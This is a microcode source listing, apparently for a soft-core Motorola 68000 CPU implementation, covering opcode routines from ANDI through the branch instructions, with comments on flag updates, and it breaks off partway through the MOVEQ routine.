//////////////////////////////////////// // 0000.001000.xxxxxx : ANDI.B opcode // //////////////////////////////////////// Op_ANDIB: LDW (PC)+ // Read immediate value CALL EA1_Read_B // Read byte from effective address ANDB. // AND it with the immediate value FLAG -**00,CIN=CLR // Update N and Z, clear V and C JUMP EA1_Update_B // Write back result ////////////////////////////////////////// // 0000.001000.111100 : ANDI CCR opcode // ////////////////////////////////////////// Op_ANDI_CCR: LDW (PC)+ // Read immediate value LDB SR // Read CCR ANDB // AND CCR with the immediate value STB SR RTS // Update CCR //////////////////////////////////////// // 0000.001001.xxxxxx : ANDI.W opcode // //////////////////////////////////////// Op_ANDIW: LDW (PC)+ // Read immediate value CALL EA1_Read_W // Read word from effective address ANDW. // AND it with the immediate value FLAG -**00,CIN=CLR // Update N and Z, clear V and C JUMP EA1_Update_W // Write back result ///////////////////////////////////////// // 0000.001001.111100 : ANDI SR opcode // ///////////////////////////////////////// Op_ANDI_SR: LDW (PC)+ // Read immediate value LDW SR // Read SR ANDW // AND it with the immediate value STW SR // Update SR JUMP Leave_Super // Super <-> User switch //////////////////////////////////////// // 0000.001010.xxxxxx : ANDI.L opcode // //////////////////////////////////////// Op_ANDIL: CALL EA1_RL_to_TMP1 // Immediate -> TMP1, read long from EA ANDW. // AND immediate LSW with EA LSW SWAP // Get EA MSW LDW TMP1H // Get immediate MSW ANDL. // AND immediate MSW with EA MSW FLAG -**00,CIN=CLR // Update N and Z, clear V and C JUMP EA1_Update_L // Write back result //////////////////////////////////////// // 0000.010000.xxxxxx : SUBI.B opcode // //////////////////////////////////////// Op_SUBIB: LDW (PC)+ // Read immediate value CALL EA1_Read_B // Read byte from effective address SUBB. // Subtract the immediate value FLAG *****,CIN=CLR // Update X, N, Z, V and C flags JUMP EA1_Update_B // Write back result //////////////////////////////////////// // 0000.010001.xxxxxx : SUBI.W opcode // //////////////////////////////////////// Op_SUBIW: LDW (PC)+ // Read immediate value CALL EA1_Read_W // Read word from effective address SUBW. // Subtract the immediate value FLAG *****,CIN=CLR // Update X, N, Z, V and C flags JUMP EA1_Update_W // Write back result //////////////////////////////////////// // 0000.010010.xxxxxx : SUBI.L opcode // //////////////////////////////////////// Op_SUBIL: CALL EA1_RL_to_TMP1 // Immediate -> TMP1, read long from EA SUB2W. // Subtract EA LSW with immediate LSW SWAP // Get EA MSW LDW TMP1H // Get immediate MSW FLAG -----,CIN=C_ADD // Carry in is adder carry out SUBC2L. // Subtract EA MSW with immediate MSW FLAG *****,CIN=CLR // Update X, N, Z, V and C flags JUMP EA1_Update_L // Write back result //////////////////////////////////////// // 0000.011000.xxxxxx : ADDI.B opcode // //////////////////////////////////////// Op_ADDIB: LDW (PC)+ // Read immediate value CALL EA1_Read_B // Read byte from effective address ADDB. // Add the immediate value FLAG *****,CIN=CLR // Update flags JUMP EA1_Update_B // Write back result //////////////////////////////////////// // 0000.011001.xxxxxx : ADDI.W opcode // //////////////////////////////////////// Op_ADDIW: LDW (PC)+ // Read immediate value CALL EA1_Read_W // Read word from effective address ADDW. // Add the immediate value FLAG *****,CIN=CLR // Update flags JUMP EA1_Update_W // Write back result //////////////////////////////////////// // 0000.011010.xxxxxx : ADDI.L opcode // //////////////////////////////////////// Op_ADDIL: CALL EA1_RL_to_TMP1 // Immediate -> TMP1, read long from EA ADDW. // Add EA LSW with immediate LSW SWAP // Get EA MSW LDW TMP1H // Get immediate MSW FLAG -----,CIN=C_ADD // Carry in is adder carry out ADDCL. // Add EA MSW with immediate MSW FLAG *****,CIN=CLR // Update X, N, Z, V and C flags JUMP EA1_Update_L // Write back result ///////////////////////////////////////// // 0000.100000.xxxxxx : BTST #x opcode // ///////////////////////////////////////// // BTST.B #x,<ea> Op_BTSTB_i: LDW (PC)+ // Read immediate value = bit number Op_BTSTB_jmp: CALL EA1_Read_B // Read byte from effective address BANDB. // Bit-AND with flag update FLAG --*--,CIN=CLR // Update Z flag DROP RTS // Drop result Op_BTSTB_call: CALL EA1_Read_B // Read byte from effective address OVER // Dupplicate bit number OVER // Dupplicate byte data BANDB. // Bit-AND with flag update FLAG --*--,CIN=CLR // Update Z flag DROP RTS // Drop result // BTST.L #x,Dn Op_BTSTL_i: LDW (PC)+ // Read immediate value = bit number Op_BTSTL_jmp: DUP // Dupplicate bit number LDW RL[EA1] // Read Dn LSW BANDW. // Bit-AND with flag update DROP // Drop result LDW RH[EA1] // Read Dn MSW BANDL. // Bit-AND with flag update FLAG --*--,CIN=CLR // Update Z flag DROP RTS // Drop result ///////////////////////////////////////// // 0000.100001.xxxxxx : BCHG #x opcode // ///////////////////////////////////////// // BCHG.B #x,<ea> Op_BCHGB_i: LDW (PC)+ // Read immediate value = bit number Op_BCHGB_jmp: CALL Op_BTSTB_call // Test the bit first BXORB // Bit-XOR JUMP EA1_Update_B // Write back result // BCHG.L #x,Dn Op_BCHGL_i: CALL Op_BTSTL_i // Test the bit first LDW IMMR // Read immediate value = bit number Op_BCHGL_jmp: DUP // Dupplicate bit number LDW RL[EA1] // Read Dn LSW BXORW // Bit-XOR STW RL[EA1] // Write back Dn LSW LDW RH[EA1] // Read Dn MSW BXORL // Bit-XOR STW RH[EA1] RTS // Write back Dn MSW ///////////////////////////////////////// // 0000.100010.xxxxxx : BCLR #x opcode // ///////////////////////////////////////// // BCLR.B #x,<ea> Op_BCLRB_i: LDW (PC)+ // Read immediate value = bit number Op_BCLRB_jmp: CALL Op_BTSTB_call // Test the bit first BMSKB // Bit-MASK JUMP EA1_Update_B // Write back result // BCLR.L #x,Dn Op_BCLRL_i: CALL Op_BTSTL_i // Test the bit first LDW IMMR // Read immediate value = bit number Op_BCLRL_jmp: DUP // Dupplicate bit number LDW RL[EA1] // Read Dn LSW BMSKW // Bit-MASK STW RL[EA1] // Write back Dn LSW LDW RH[EA1] // Read Dn MSW BMSKL // Bit-MASK STW RH[EA1] RTS // Write back Dn MSW ///////////////////////////////////////// // 0000.100011.xxxxxx : BSET #x opcode // ///////////////////////////////////////// // BSET.B #x,<ea> Op_BSETB_i: LDW (PC)+ // Read immediate value = bit number Op_BSETB_jmp: CALL Op_BTSTB_call // Test the bit first BORB // Bit-OR JUMP EA1_Update_B // Write back result // BSET.L #x,Dn Op_BSETL_i: CALL Op_BTSTL_i // Test the bit first LDW IMMR // Read immediate value = bit number Op_BSETL_jmp: DUP // Dupplicate bit number LDW RL[EA1] // Read Dn LSW BORW // Bit-OR STW RL[EA1] // Write back Dn LSW LDW RH[EA1] // Read Dn MSW BORL // Bit-OR STW RH[EA1] RTS // Write back Dn MSW //////////////////////////////////////// // 0000.101000.xxxxxx : EORI.B opcode // //////////////////////////////////////// Op_EORIB: LDW (PC)+ // Read immediate value CALL EA1_Read_B // Read byte from effective address XORB. // XOR it with the immediate value FLAG -**00,CIN=CLR // Update N and Z, clear V and C JUMP EA1_Update_B // Write back result ////////////////////////////////////////// // 0000.101000.111100 : EORI CCR opcode // ////////////////////////////////////////// Op_EORI_CCR: LDW (PC)+ // Read immediate value LDB SR // Read CCR XORB // XOR CCR with the immediate value STB SR RTS // Update CCR //////////////////////////////////////// // 0000.101001.xxxxxx : EORI.W opcode // //////////////////////////////////////// Op_EORIW: LDW (PC)+ // Read immediate value CALL EA1_Read_W // Read word from effective address XORW. // XOR it with the immediate value FLAG -**00,CIN=CLR // Update N and Z, clear V and C JUMP EA1_Update_W // Write back result ///////////////////////////////////////// // 0000.101001.111100 : EORI SR opcode // ///////////////////////////////////////// Op_EORI_SR: LDW (PC)+ // Read immediate value LDW SR // Read SR XORW // XOR it with the immediate value STW SR // Update SR JUMP Leave_Super // Super <-> User switch //////////////////////////////////////// // 0000.101010.xxxxxx : EORI.L opcode // //////////////////////////////////////// Op_EORIL: CALL EA1_RL_to_TMP1 // Immediate -> TMP1, read long from EA XORW. // XOR EA LSW with immediate LSW SWAP // Get EA MSW LDW TMP1H // Get immediate MSW XORL. // XOR EA MSW with immediate MSW FLAG -**00,CIN=CLR // Update N and Z, clear V and C JUMP EA1_Update_L // Write back result //////////////////////////////////////// // 0000.110000.xxxxxx : CMPI.B opcode // //////////////////////////////////////// Op_CMPIB: LDW (PC)+ // Read immediate value CALL EA1_Read_B // Read byte from effective address SUBB. // Subtract immediate value FLAG -****,CIN=CLR // Update N, Z, V and C DROP RTS // Drop result //////////////////////////////////////// // 0000.110001.xxxxxx : CMPI.W opcode // //////////////////////////////////////// Op_CMPIW: LDW (PC)+ // Read immediate value CALL EA1_Read_W // Read word from effective address SUBW. // Subtract immediate value FLAG -****,CIN=CLR // Update N, Z, V and C DROP RTS // Drop result //////////////////////////////////////// // 0000.110010.xxxxxx : CMPI.L opcode // //////////////////////////////////////// Op_CMPIL: CALL EA1_RL_to_TMP1 SUB2W. DROP LDW TMP1H FLAG -----,CIN=C_ADD SUBC2L. FLAG -****,CIN=CLR DROP RTS ///////////////////////////////////////// // 0000.yyy100.xxxxxx : BTST Dn opcode // ///////////////////////////////////////// // BTST.B Dx,<ea> Op_BTSTB_r: LDB DL[EA2] // Read Dx LSB = bit number JUMP Op_BTSTB_jmp // Execute BTST.B // BTST.L Dx,Dy Op_BTSTL_r: LDB DL[EA2] // Read Dx LSB = bit number JUMP Op_BTSTL_jmp // Execute BTST.L ///////////////////////////////////////////////// // 0000.yyy100.001xxx : MOVEP.W to reg. opcode // ///////////////////////////////////////////////// Op_MOVEPW_r: CALL Calc_d16_An_EA1 // Calculate d16(An) JUMP Op_MOVEPW_r_jmp // Execute MOVEP.W ///////////////////////////////////////// // 0000.yyy101.xxxxxx : BCHG Dn opcode // ///////////////////////////////////////// Op_BCHGB_r: LDB DL[EA2] // Read Dx LSB = bit number JUMP Op_BCHGB_jmp // Execute BCHG.B Op_BCHGL_r: LDB DL[EA2] // Read Dx LSB = bit number DUP // Dupplicate bit number CALL Op_BTSTL_jmp // Execute BTST.L JUMP Op_BCHGL_jmp // Execute BCHG.L ///////////////////////////////////////////////// // 0000.yyy101.001xxx : MOVEP.L to reg. opcode // ///////////////////////////////////////////////// Op_MOVEPL_r: CALL Calc_d16_An_EA1 // Calculate d16(An) LDH (EA1)+ // Get MSB LDL (EA1)+ // Get LSB ORW // Combine the MSB and LSB STW DH[EA2] // Store the word to Dn high Op_MOVEPW_r_jmp: LDH (EA1)+ // Get MSB LDL (EA1) // Get LSB ORW // Combine the MSB and LSB STW DL[EA2] RTS // Store the word to Dn low ///////////////////////////////////////// // 0000.yyy110.xxxxxx : BCLR Dn opcode // ///////////////////////////////////////// Op_BCLRB_r: LDB DL[EA2] // Read Dx LSB = bit number JUMP Op_BCLRB_jmp // Execute BCLR.B Op_BCLRL_r: LDB DL[EA2] // Read Dx LSB = bit number DUP // Dupplicate bit number CALL Op_BTSTL_jmp // Execute BTST.L JUMP Op_BCLRL_jmp // Execute BCLR.L ///////////////////////////////////////////////// // 0000.yyy110.001xxx : MOVEP.W to mem. opcode // ///////////////////////////////////////////////// Op_MOVEPW_m: CALL Calc_d16_An_EA1 // Calculate d16(An) JUMP Op_MOVEPW_m_jmp // Execute MOVEP.W ///////////////////////////////////////// // 0000.yyy111.xxxxxx : BSET Dn opcode // ///////////////////////////////////////// Op_BSETB_r: LDB DL[EA2] // Read Dx LSB = bit number JUMP Op_BSETB_jmp // Execute BSET.B Op_BSETL_r: LDB DL[EA2] // Read Dx LSB = bit number DUP // Dupplicate bit number CALL Op_BTSTL_jmp // Execute BTST.L JUMP Op_BSETL_jmp // Execute BSET.L ///////////////////////////////////////////////// // 0000.yyy111.001xxx : MOVEP.L to mem. opcode // ///////////////////////////////////////////////// Op_MOVEPL_m: CALL Calc_d16_An_EA1 // Calculate d16(An) LDW DH[EA2] // Get Dn high DUP // Dupplicate the value STH (EA1)+ // Write MSB to memory STL (EA1)+ // Write LSB to memory Op_MOVEPW_m_jmp: LDW DL[EA2] // Get Dn low DUP // Dupplicate the value STH (EA1)+ // Write MSB to memory STL (EA1) RTS // Write LSB to memory //////////////////////////////////////// // 0001.yyyyyy.xxxxxx : MOVE.B opcode // //////////////////////////////////////// Op_MOVEB: CALL EA1_Read_B TSTB. FLAG -**00,CIN=CLR JUMP EA2_Write_B ///////////////////////////////////////////////////// // 0010.yyyyyy.xxxxxx : MOVE.L and MOVEA.L opcodes // ///////////////////////////////////////////////////// Op_MOVEL: CALL EA1_Read_L TSTW. SWAP TSTL. FLAG -**00,CIN=CLR JUMP EA2_Write_L Op_MOVEAL: CALL EA1_Read_L SWAP JUMP EA2_Write_L ///////////////////////////////////////////////////// // 0011.yyyyyy.xxxxxx : MOVE.W and MOVEA.W opcodes // ///////////////////////////////////////////////////// Op_MOVEW: CALL EA1_Read_W TSTW. FLAG -**00,CIN=CLR JUMP EA2_Write_W Op_MOVEAW: CALL EA1_Read_W JUMP EA2_Write_W //////////////////////////////////////// // 0100.000000.xxxxxx : NEGX.B opcode // //////////////////////////////////////// Op_NEGXB: CALL EA1_Read_B FLAG -----,CIN=X_SR NEGCB. FLAG **#**,CIN=CLR JUMP EA1_Update_B //////////////////////////////////////// // 0100.000001.xxxxxx : NEGX.W opcode // //////////////////////////////////////// Op_NEGXW: CALL EA1_Read_W FLAG -----,CIN=X_SR NEGCW. FLAG **#**,CIN=CLR JUMP EA1_Update_W //////////////////////////////////////// // 0100.000010.xxxxxx : NEGX.L opcode // //////////////////////////////////////// Op_NEGXL: CALL EA1_Read_L FLAG -----,CIN=X_SR NEGCW. FLAG -----,CIN=C_ADD SWAP NEGCL. FLAG **#**,CIN=CLR JUMP EA1_Update_L ////////////////////////////////////////////// // 0100.000011.xxxxxx : MOVE from SR opcode // ////////////////////////////////////////////// Op_MOVEfSR: LDW SR JUMP EA1_Write_W /////////////////////////////////////// // 0100.001000.xxxxxx : CLR.B opcode // /////////////////////////////////////// Op_CLRB: FLAG -0100 LIT #0 JUMP EA1_Write_B /////////////////////////////////////// // 0100.001001.xxxxxx : CLR.W opcode // /////////////////////////////////////// Op_CLRW: FLAG -0100 LIT #0 JUMP EA1_Write_W /////////////////////////////////////// // 0100.001010.xxxxxx : CLR.L opcode // /////////////////////////////////////// Op_CLRL: FLAG -0100 LIT #0 LIT #0 JUMP EA1_Write_L /////////////////////////////////////// // 0100.010000.xxxxxx : NEG.B opcode // /////////////////////////////////////// Op_NEGB: CALL EA1_Read_B NEGB. FLAG *****,CIN=CLR JUMP EA1_Update_B /////////////////////////////////////// // 0100.010001.xxxxxx : NEG.W opcode // /////////////////////////////////////// Op_NEGW: CALL EA1_Read_W NEGW. FLAG *****,CIN=CLR JUMP EA1_Update_W /////////////////////////////////////// // 0100.010010.xxxxxx : NEG.L opcode // /////////////////////////////////////// Op_NEGL: CALL EA1_Read_L NEGW. FLAG -----,CIN=C_ADD SWAP NEGCL. FLAG *****,CIN=CLR JUMP EA1_Update_L ///////////////////////////////////////////// // 0100.010011.xxxxxx : MOVE to CCR opcode // ///////////////////////////////////////////// Op_MOVEtCCR: CALL EA1_Read_W STB SR RTS /////////////////////////////////////// // 0100.011000.xxxxxx : NOT.B opcode // /////////////////////////////////////// Op_NOTB: CALL EA1_Read_B NOTB. FLAG -**00,CIN=CLR JUMP EA1_Update_B /////////////////////////////////////// // 0100.011001.xxxxxx : NOT.W opcode // /////////////////////////////////////// Op_NOTW: CALL EA1_Read_W NOTW. FLAG -**00,CIN=CLR JUMP EA1_Update_W /////////////////////////////////////// // 0100.011010.xxxxxx : NOT.L opcode // /////////////////////////////////////// Op_NOTL: CALL EA1_Read_L NOTW. SWAP NOTL. FLAG -**00,CIN=CLR JUMP EA1_Update_L //////////////////////////////////////////// // 0100.011011.xxxxxx : MOVE to SR opcode // //////////////////////////////////////////// Op_MOVEtSR: CALL EA1_Read_W // Read word from effective address STW SR // Store it in SR JUMP Leave_Super // Super <-> User switch ////////////////////////////////////// // 0100.100000.xxxxxx : NBCD opcode // ////////////////////////////////////// Op_NBCD: CALL EA1_Read_B // Read byte from effective address LIT #0 // Load BCD value 00 CALL SBCD_Calc // Execute BCD subtract : 00 - byte FLAG -*#--,CIN=CLR // Update N and Z flags JUMP EA1_Update_B // Write back result ///////////////////////////////////// // 0100.100001.xxxxxx : PEA opcode // ///////////////////////////////////// Op_PEA: CALL EA1_Calc // Compute effective address CALL SP_to_EA2 // A7 -> EA2 LDW EA1L STW -(EA2) // EA1 low -> -(EA2) LDW EA1H STW -(EA2) // EA1 high -> -(EA2) JUMP EA2_to_SP // EA2 -> SP ////////////////////////////////////// // 0100.100001.00xxxx : SWAP opcode // ////////////////////////////////////// Op_SWAP: LDW DL[EA1] LDW DH[EA1] // Read Dn.L swapped FLAG ---00,CIN=CLR // Clear V and C flags Write_DnL: TSTW. STW DL[EA1] TSTL. FLAG -**--,CIN=CLR // Update N and Z flags STW DH[EA1] RTS // Store result into Dn.L Write_DnW: TSTW. FLAG -**--,CIN=CLR // Update N and Z flags STW DL[EA1] RTS // Store result into Dn.W Write_DnB: TSTB. FLAG -**--,CIN=CLR // Update N and Z flags STB DL[EA1] RTS // Store result into Dn.B ///////////////////////////////////////////////// // 0100.100010.xxxxxx : MOVEM.W to mem. opcode // ///////////////////////////////////////////////// // MOVEM.W <list>,<ea> Op_MOVEMW_m: LDW (PC)+ // Get register list CALL EA1_Calc // Compute effective address LOOP16 // Loop 16 times JUMPN T0,NoMoveW_m // Bit #0 cleared : do not move register LDW RL[CNT] // Bit #0 set : load register STW (EA1)+ // Store it to memory NoMoveW_m: RSHW // Get next bit ENDLOOP // End of loop DROP RTS // Drop register list // MOVEM.W <list>,-(An) Op_MOVEMW_mpd: LDW (PC)+ // Get register list CALL Get_An_EA1 // Compute effective address LOOP16 // Loop 16 times JUMPN T0,NoMoveW_mpd // Bit #0 cleared : do not move register LDW RL[CNT] // Bit #0 set : load register STW -(EA1) // Store it to memory NoMoveW_mpd: RSHW // Get next bit ENDLOOP // End of loop DROP // Drop register list JUMP Set_An_EA1 // Update An /////////////////////////////////////// // 0100.100010.000xxx : EXT.W opcode // /////////////////////////////////////// Op_EXTW: LIT #$FF00 // Mask value LDW DL[EA1] // Load register TSTB. // Test LSB FLAG -**00,CIN=CLR // Update N and Z flags JUMP N_SR,Op_EXTW_Neg // Check N flag MSKW // 00xx STW DL[EA1] RTS // Store register Op_EXTW_Neg: ORW // FFxx STW DL[EA1] RTS // Store register ///////////////////////////////////////////////// // 0100.100011.xxxxxx : MOVEM.L to mem. opcode // ///////////////////////////////////////////////// // MOVEM.L <list>,<ea> Op_MOVEML_m: LDW (PC)+ // Get register list CALL EA1_Calc // Compute effective address LOOP16 // Loop 16 times JUMPN T0,NoMoveL_m // Bit #0 cleared : do not move register LDW RH[CNT] // Bit #0 set : move register to memory STW (EA1)+ LDW RL[CNT] STW (EA1)+ NoMoveL_m: RSHW // Get next bit ENDLOOP // End of loop DROP RTS // Drop register list // MOVEM.L <list>,-(An) Op_MOVEML_mpd: LDW (PC)+ // Get register list CALL Get_An_EA1 // Compute effective address LOOP16 // Loop 16 times JUMPN T0,NoMoveL_mpd // Bit #0 cleared : do not move register LDW RL[CNT] // Bit #0 set : move register to memory STW -(EA1) LDW RH[CNT] STW -(EA1) NoMoveL_mpd: RSHW // Get next bit ENDLOOP // End of loop DROP // Drop register list JUMP Set_An_EA1 // Update An /////////////////////////////////////// // 0100.100011.000xxx : EXT.L opcode // /////////////////////////////////////// Op_EXTL: LDW DL[EA1]. // Load Dn.W FLAG -----,CIN=T15 // Carry in is bit #15 (sign) DROP // Drop LSW EXTW // Extend word to long FLAG -**00,CIN=CLR // Update N and Z, clear V and C STW DH[EA1] RTS // Store MSW /////////////////////////////////////// // 0100.101000.xxxxxx : TST.B opcode // /////////////////////////////////////// Op_TSTB: CALL EA1_Read_B TSTB. FLAG -**00,CIN=CLR DROP RTS /////////////////////////////////////// // 0100.101001.xxxxxx : TST.W opcode // /////////////////////////////////////// Op_TSTW: CALL EA1_Read_W TSTW. FLAG -**00,CIN=CLR DROP RTS /////////////////////////////////////// // 0100.101010.xxxxxx : TST.L opcode // /////////////////////////////////////// Op_TSTL: CALL EA1_Read_L TSTW. DROP TSTL. FLAG -**00,CIN=CLR DROP RTS ///////////////////////////////////// // 0100.101011.xxxxxx : TAS opcode // ///////////////////////////////////// Op_TASB: CALL EA1_Read_B TSTB. FLAG -**00,CIN=CLR LIT #$0080 ORB JUMP EA1_Update_B ///////////////////////////////////////////////// // 0100.110010.xxxxxx : MOVEM.W to reg. opcode // ///////////////////////////////////////////////// Op_MOVEMW_r: LDW (PC)+ // Get register list CALL EA1_Calc // Compute effective address LOOP16 // Loop 16 times JUMPN T0,NoMoveW_r // Bit #0 cleared : do not move register LDW (EA1)+ // Bit #0 set : load memory FLAG -----,CIN=T15 // Carry in is bit #15 (sign) STW RL[CNT] // Store LSW to register EXTW // Extend word to long STW RH[CNT] // Store MSW to register NoMoveW_r: RSHW // Get next bit ENDLOOP FLAG -----,CIN=CLR // Clear carry in DROP RTS // Drop register list Op_MOVEMW_rpi: CALL Op_MOVEMW_r // Execute MOVEM.W (An)+,<list> JUMP Set_An_EA1 // Update An ///////////////////////////////////////////////// // 0100.110011.xxxxxx : MOVEM.L to reg. opcode // ///////////////////////////////////////////////// Op_MOVEML_r: LDW (PC)+ // Get register list CALL EA1_Calc // Compute effective address LOOP16 // Loop 16 times JUMPN T0,NoMoveL_r // Bit #0 cleared : do not move register LDW (EA1)+ // Bit #0 Set : load memory STW RH[CNT] // Store MSW to register LDW (EA1)+ // Load memory STW RL[CNT] // Store LSW to register NoMoveL_r: RSHW // Get next bit ENDLOOP DROP RTS // Drop register list Op_MOVEML_rpi: CALL Op_MOVEML_r // Execute MOVEM.L (An)+,<list> JUMP Set_An_EA1 // Update An ///////////////////////////////////// // 0100.111001.110001 : NOP opcode // ///////////////////////////////////// Op_NOP: NOP RTS // No operation ////////////////////////////////////// // 0100.111001.00xxxx : TRAP opcode // ////////////////////////////////////// Op_TRAP: LDW IMMR // Load immediate value (vector number) JUMP Trap_Processing // Execute exception ////////////////////////////////////// // 0100.111001.010xxx : LINK opcode // ////////////////////////////////////// Op_LINK: FTW (PC)+ // Get displacement CALL SP_to_EA2 // A7 -> EA2 LDW AH[EA1] LDW AL[EA1] // Get An.l STW -(EA2) STW -(EA2) // Store An on the stack LDW EA2H // Get EA2 high WRW AH[EA1] // Write it to An high LDW EA2L // Get EA2 low WRW AL[EA1] // Write it to An low CALL AddOffs // Add displacement to SP STW A7H // Update A7 high STW A7L RTS // Update A7 low ////////////////////////////////////// // 0100.111001.011xxx : UNLK opcode // ////////////////////////////////////// Op_UNLK: LDW AH[EA1] STW EA2H // An high -> EA2 high LDW AL[EA1] STW EA2L // An low -> EA2 low LDW (EA2)+ STW AH[EA1] // (EA2)+ -> An high LDW (EA2)+ STW AL[EA1] // (EA2)+ -> An low LDW EA2H STW A7H // EA2 high -> A7 high LDW EA2L STW A7L RTS // EA2 low -> A7 low ///////////////////////////////////////////// // 0100.111001.100xxx : MOVE to USP opcode // ///////////////////////////////////////////// Op_MOVEtUSP: LDW AH[EA1] LDW AL[EA1] // Get An.l STW USPL STW USPH RTS // Write to USP /////////////////////////////////////////////// // 0100.111001.101xxx : MOVE from USP opcode // /////////////////////////////////////////////// Op_MOVEfUSP: LDW USPH LDW USPL // Get USP STW AL[EA1] STW AH[EA1] RTS // Write to An.l ////////////////////////////////////// // 0100.111001.110010 : STOP opcode // ////////////////////////////////////// Op_STOP: LDW (PC)+ // Load immediate data STW SR // Change SR Op_STOP_Wait: JUMPN I_SR,Op_STOP_Wait // Wait for interrupt JUMP Leave_Super // Super <-> User switch ///////////////////////////////////// // 0100.111001.110011 : RTE opcode // ///////////////////////////////////// Op_RTE: CALL SP_to_EA2 // A7 -> EA2 LDW (EA2)+ // Get SR STW SR // Update SR CALL Op_RTS_jmp // Get PC, update A7 JUMP Leave_Super // Super <-> User switch ///////////////////////////////////// // 0100.111001.110101 : RTS opcode // ///////////////////////////////////// Op_RTS: CALL SP_to_EA2 // A7 -> EA2 Op_RTS_jmp: LDW (EA2)+ // Get PC high STW PCH // Update PC high LDW (EA2)+ // Get PC low STW PCL // Update PC low JUMP EA2_to_SP // EA2 -> A7 /////////////////////////////////////// // 0100.111001.110110 : TRAPV opcode // /////////////////////////////////////// Op_TRAPV: JUMPN V_SR,Op_NOP // V cleared : do nothing LIT #$001C // Trap vector : 0x1C JUMP Trap_Processing // Execute exception ///////////////////////////////////// // 0100.111001.110111 : RTR opcode // ///////////////////////////////////// Op_RTR: CALL SP_to_EA2 // A7 -> EA2 LDW (EA2)+ // Get CCR STB SR // Update CCR JUMP Op_RTS_jmp // Get PC, update A7 ///////////////////////////////////// // 0100.111010.xxxxxx : JSR opcode // ///////////////////////////////////// Op_JSR: CALL EA1_Calc // Compute effective adddress CALL PC_to_Stack // Save current PC to stack EA1_to_PC: LDW EA1H STW PCH // EA1 high -> PC high LDW EA1L STW PCL RTS // EA1 low -> PC low ///////////////////////////////////// // 0100.111011.xxxxxx : JMP opcode // ///////////////////////////////////// Op_JMP: CALL EA1_Calc // Compute effective adddress JUMP EA1_to_PC // Update PC with effective address /////////////////////////////////////// // 0100.yyy110.xxxxxx : CHK.W opcode // /////////////////////////////////////// Op_CHKW: CALL EA1_Read_W // Load word from effective address LDW DL[EA2]. // Load Dn.w FLAG -**00,CIN=CLR // Update N and Z, clear V and C JUMP N_SR,Trap_Neg // Trap if Dn.w negative SUBW. // Compute Dn.w - <ea> JUMP G_FLG,Trap_Grt // Trap if Dn.w > <ea> DROP RTS // Drop Dn.w - <ea> Trap_Grt: FLAG -0---,CIN=CLR // Clear the N flag DROP // Drop subtract result LIT #$0018 // Set trap vector to 0x18 JUMP Trap_Processing // Execute exception Trap_Neg: DROP // Drop Dn.w DROP // Drop word from effective address LIT #$0018 // Set trap vector to 0x18 JUMP Trap_Processing // Execute exception ///////////////////////////////////// // 0100.yyy111.xxxxxx : LEA opcode // ///////////////////////////////////// Op_LEA: CALL EA1_Calc LDW EA1L STW AL[EA2] LDW EA1H STW AH[EA2] RTS //////////////////////////////////////// // 0101.yyy000.xxxxxx : ADDQ.B opcode // //////////////////////////////////////// Op_ADDQB: LDW IMMR CALL EA1_Read_B ADDB. FLAG *****,CIN=CLR JUMP EA1_Update_B //////////////////////////////////////// // 0101.yyy001.xxxxxx : ADDQ.W opcode // //////////////////////////////////////// Op_ADDQW: LDW IMMR CALL EA1_Read_W ADDW. FLAG *****,CIN=CLR JUMP EA1_Update_W //////////////////////////////////////// // 0101.yyy010.xxxxxx : ADDQ.L opcode // //////////////////////////////////////// Op_ADDQL: LDW IMMR STW TMP1L CALL EA1_Read_L LDW TMP1L ADDW. FLAG -----,CIN=C_ADD SWAP LIT #0 ADDCL. FLAG *****,CIN=CLR JUMP EA1_Update_L Op_ADDQA: LDW IMMR LDW AL[EA1] ADDW. STW AL[EA1] LIT #0 LDW AH[EA1] FLAG -----,CIN=C_ADD ADDCL. STW AH[EA1] RTS //////////////////////////////////////// // 0101.yyy100.xxxxxx : SUBQ.B opcode // //////////////////////////////////////// Op_SUBQB: LDW IMMR CALL EA1_Read_B SUBB. FLAG *****,CIN=CLR JUMP EA1_Update_B //////////////////////////////////////// // 0101.yyy101.xxxxxx : SUBQ.W opcode // //////////////////////////////////////// Op_SUBQW: LDW IMMR CALL EA1_Read_W SUBW. FLAG *****,CIN=CLR JUMP EA1_Update_W //////////////////////////////////////// // 0101.yyy110.xxxxxx : SUBQ.L opcode // //////////////////////////////////////// Op_SUBQL: LDW IMMR STW TMP1L CALL EA1_Read_L LDW TMP1L SUB2W. FLAG -----,CIN=C_ADD SWAP LIT #0 SUBC2L. FLAG *****,CIN=CLR JUMP EA1_Update_L Op_SUBQA: LDW IMMR LDW AL[EA1] SUBW. STW AL[EA1] LIT #0 LDW AH[EA1] FLAG -----,CIN=C_ADD SUBCL. STW AH[EA1] RTS ///////////////////////////////////// // 0101.cccc11.xxxxxx : Scc opcode // ///////////////////////////////////// Op_Scc: JUMP B_SR,Op_Scc_Set LIT #$0000 JUMP EA1_Write_B Op_Scc_Set: LIT #$00FF JUMP EA1_Write_B ////////////////////////////////////// // 0101.cccc11.001xxx : DBcc opcode // ////////////////////////////////////// Op_DBcc: JUMPN B_SR,Op_DBcc_Exec // Condition false : decrement Dn.w Op_DBcc_Exit: FTW (PC)+ RTS // Condition true : do nothing Op_DBcc_Exec: LDW DL[EA1] // Load Dn.w into T DECW // Decrement T WRW DL[EA1] // Write back result NOTW. // Invert result (0xFFFF -> 0x0000) DROP // Drop the result JUMP Z_FLG,Op_DBcc_Exit // Z flag set : do not take the branch // Z flag clear : take the branch LDW PCH // Load PC high word LDW PCL // Load PC low word FTW (PC)+ // Get 16-bit displacement JUMP AddWOffs_PC // Add word offset to PC ////////////////////////////////////////////////// // 0110.cccc.xxxxxxxx : Bcc.B and Bcc.W opcodes // ////////////////////////////////////////////////// Op_Bcc: JUMPN B_SR,FetchDisp // Branch not taken : only fetch displacement LDW PCH // Load PC high word LDW PCL // Load PC low word CALL FetchDisp // Fetch displacement AddWOffs_PC: CALL AddOffs // Add word offset to PC STW PCH // Change PCH STW PCL RTS // Change PCL ///////////////////////////////////////////////////////// // 0110.0001.xxxxxxxx : BSR.B, BSR.W and BSR.L opcodes // ///////////////////////////////////////////////////////// Op_BSR: LDW PCH // Load PC high word LDW PCL // Load PC low word CALL FetchDisp // Fetch displacement CALL PC_to_Stack JUMP AddWOffs_PC FetchDisp: LDW IMMR. // Read byte displacement JUMPN Z_FLG,ShortBranch // Displacement not null, skip next 2 instr. DROP // Drop byte displacement FTW (PC)+ RTS // Fetch word displacement ShortBranch: DROP RTS // Drop byte displacement /////////////////////////////////////// // 0111.yyy0.xxxxxxxx : MOVEQ opcode // /////////////////////////////////////// Op_MOVEQ: LDW IMMR. // Load immediate 